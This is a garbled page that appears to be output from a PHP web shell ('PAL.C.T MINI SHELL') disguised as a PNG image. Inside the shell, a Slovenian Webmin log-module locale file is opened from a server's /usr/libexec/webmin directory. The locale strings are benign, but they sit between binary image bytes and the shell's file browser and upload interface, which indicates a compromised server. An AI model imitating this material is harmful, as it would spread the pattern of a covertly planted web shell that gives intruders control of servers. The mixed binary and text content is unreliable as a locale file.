php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/webminlog/lang/
upload
files >> //usr/libexec/webmin/webminlog/lang/sl.auto

index_title=Dnevnik dejanj Webmin
index_header=Poiščite dejanja v dnevniku Webmin ..
index_uall=Vsak uporabnik
index_user=Po uporabniku
index_users=Po uporabniku ..
index_nuser=Vsak uporabnik razen
index_ouser=Uporabnik, ki ni Webmin
index_mall=V katerem koli modulu
index_module=V modulu
index_modules=V modulih ..
index_tall=Kadarkoli
index_today=Samo za danes
index_yesterday=Samo za včeraj
index_week=V zadnjem tednu
index_time=Med $1 in $2 
index_search=Iskanje
index_return=iskalni obrazec
index_nolog=<b>Opomba</b> - <a href='$1'>Prijava v Webmin</a> trenutno ni omogočena, zato verjetno iskanje v dnevniku dejanj ne bo prineslo nobenih rezultatov.
index_nologfiles=<b>Opomba</b> - <a href='$1'>Zapisovanje sprememb datotek</a> trenutno ni omogočeno, zato podrobnosti prijavljenih dejanj ne bodo vključevale spremenjenih datotek ali ukazov, izvedenih.
index_fall=Katera je spremenila katero koli datoteko
index_file=Ta spremenjena datoteka
index_wall=S katerega koli strežnika Webmin
index_whost=S strežnika
index_susers=Dejanja uporabnikov Webmin
index_smods=Dejanja v modulu
index_sfile=Dejanja, ki spreminjajo datoteko
index_sdiff=Sprememba datoteke ali ukaz
index_dall=Vsaka sprememba
index_diff=Spremembe, ki vsebujejo
index_stimes=Akcije na datume
index_sdesc=Opis akcije vsebuje
index_shost=Izvorni strežnik Webmin
index_long=Prikaži popolne opise dejanj?
index_global=&lt;Ni v nobenem modulu&gt;
index_header2=Možnosti obveščanja po e-pošti
index_notify=Želite poslati e-pošto za dejanja Webmin?
index_notify_mods=Za dejanja v modulih
index_notify_users=Za dejanja uporabnikov
index_notify_email=Pošlji e-pošto na
index_notify_usub=Želite vključiti uporabniško ime v zadevo e-pošte?
index_notify_msub=Ali želite v zadevo e-pošte vključiti dejanje?
index_searchtab=Išči dnevnike
index_notifytab=E-poštno obvestilo
index_searchdesc=Ta obrazec se lahko uporablja za iskanje dejanj Webmin po uporabniku, modulu, časovnem obdobju in izvedenih datotekah.
index_notifydesc=Uporabite ta obrazec za konfiguriranje e-poštnih obvestil, ko dejanja Webmin izvajajo izbrani uporabniki ali v izbranih modulih.

search_title=Rezultati iskanja
search_date=Datum
search_time=Čas
search_user=Uporabnik
search_host=Naslov stranke
search_webmin=Webmin strežnik
search_module=Modul
search_action=Ukrep
search_none2=Nobeno dejanje ni ustrezalo vašemu iskanju dejanj
search_return=Rezultati iskanja
search_sid=Dejanja uporabnika $1 v seji $2 
search_critall=Vsa prijavljena dejanja
search_crit=Zabeležena dejanja
search_critu=po uporabniku $1 
search_critnu=s strani vsakogar, razen uporabnika $1 
search_critm=iz modula $1 
search_critt=med $1 in $2 
search_critd=kjer opis vsebuje <tt>$1</tt>
search_critt2=na $1 
search_config=Spremenjena konfiguracija modula
search_etime=Neveljaven začetni ali končni čas
search_err=Iskanje ni uspelo
search_global=Noben
search_global_login=Prijavite se v Webmin
search_global_logout=Odjavljeni iz spletnega mesta Webmin
search_global_failed=Prijava v Webmin ni uspela : $1 
search_global_expiredpass=Geslo je poteklo
search_global_wronguser=Neveljaven uporabnik
search_global_wrongpass=Neveljavno geslo
search_global_baduser=Napačno uporabniško ime
search_global_badpass=Napačno geslo
search_global_twofactor=Neveljaven dvafaktorski žeton
search_csv=Izvozi kot CSV.

view_title=Podrobnosti o akciji
view_header=Podrobnosti o prijavljenem dejanju $1 
view_action=Opis
view_module=Webmin modul
view_script=Generirano po scenariju
view_user=Uporabnik Webmin
view_ip=IP odjemalca ali ime gostitelja
view_host=Izvorni strežnik Webmin
view_sid=ID seje
view_time=Datum in čas
view_nofiles=Za to dejanje niso bile zabeležene nobene spremembe konfiguracijske datoteke
view_type_create=Ustvarjena datoteka $1 
view_type_modify=Spremenjena datoteka $1 
view_type_delete=Izbrisana datoteka $1 
view_type_exec=Izveden ukaz
view_type_sql=Izveden stavek SQL v bazi $1 
view_type_kill=Poslani signal $1 do PID $2 
view_type_symlink=Ustvaril je povezavo $1 -&gt; $2 
view_type_unsymlink=Izbrisana simbolna povezava $1 -&gt; $2 
view_type_resymlink=Spremenjena povezava $1 -&gt; $2 
view_type_mkdir=Ustvarjen imenik $1 
view_type_rmdir=Odstranjen je bil direktorij $1 
view_type_rename=Preimenovan v $1 do $2 
view_ecannot=Ne morete si ogledati tega vnosa v dnevnik
view_rollback2=Izbrane datoteke povrnemo nazaj
view_return=podrobnosti o akciji
view_input=Vnos v ukaz
view_anno=Opomba o vpisu v dnevnik
view_output=Vsebina spletne strani
view_files=Datoteke so se spremenile in ukazi se izvajajo
view_raw=Surovi podatki dnevnika
view_rawname=Ime parametra
view_rawvalue=Vrednost parametra

acl_mods=Lahko si ogledate dnevnike v modulih
acl_all=Vse
acl_sel=Izbrano spodaj ..
acl_self=Samo jaz
acl_users=Uporabniki si lahko ogledajo dejanja
acl_rollback=Ali lahko vrnete dejanja?
acl_notify=Ali lahko konfigurirate e-poštna obvestila?

rollback_title=Povratna akcija
rollback_rusure=Ali ste prepričani, da želite vrniti vse spodaj naštete datoteke na njihovo vsebino, preden ste izvedli to dejanje? Vsi podatki, ki jih trenutno vsebujejo, bodo prepisani z naslednjimi spremembami :
rollback_isdir=Imenik - nobenih sprememb ne bo.
rollback_link=Cilj povezave se spremeni iz $2 v $1.
rollback_nolink=Cilj povezave ni spremenjen.
rollback_clink=Ustvarjena bo povezava do $1.
rollback_makefile=Povezava do $1 bo nadomeščena z :
rollback_makelink=Celotna datoteka se bo nadomestila s povezavo do $1.
rollback_changes=Izvedene bodo naslednje spremembe :
rollback_nochanges=Ta datoteka se ni spremenila.
rollback_delete=Datoteka bo izbrisana.
rollback_nodelete=Datoteka ni obstajala pred dejanjem in ne obstaja zdaj.
rollback_fillfile=Datoteka bo ustvarjena z vsebino :
rollback_none=Vse datoteke imajo enako vsebino kot pred tem dejanjem. Spremembe niso potrebne.
rollback_ok=Odvrnitev datotek zdaj
rollback_skipdir=Preskok imenika $1.
rollback_madelink=Ustvarjena povezava $1 do $2.
rollback_madefile=Zamenjana povezava $1 z datoteko.
rollback_modfile=Vratna vsebina datoteke $1.
rollback_deleted=Izbrisana datoteka $1.
rollback_nodeleted=Preskočena neobstoječa datoteka $1.
rollback_enone=Nobene datoteke niso izbrane

notify_err=Možnosti obvestila ni bilo mogoče shraniti
notify_ecannot=Ni vam dovoljeno konfigurirati obvestil
notify_emods=Izbran ni noben modul
notify_eusers=Izbran ni noben uporabnik
notify_eemail=E-poštni naslov ni vnesen

log_rollback=Vzvratna akcija $1 v modulu $2 
log_notify=Možnosti shranjenih e-poštnih obvestil
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`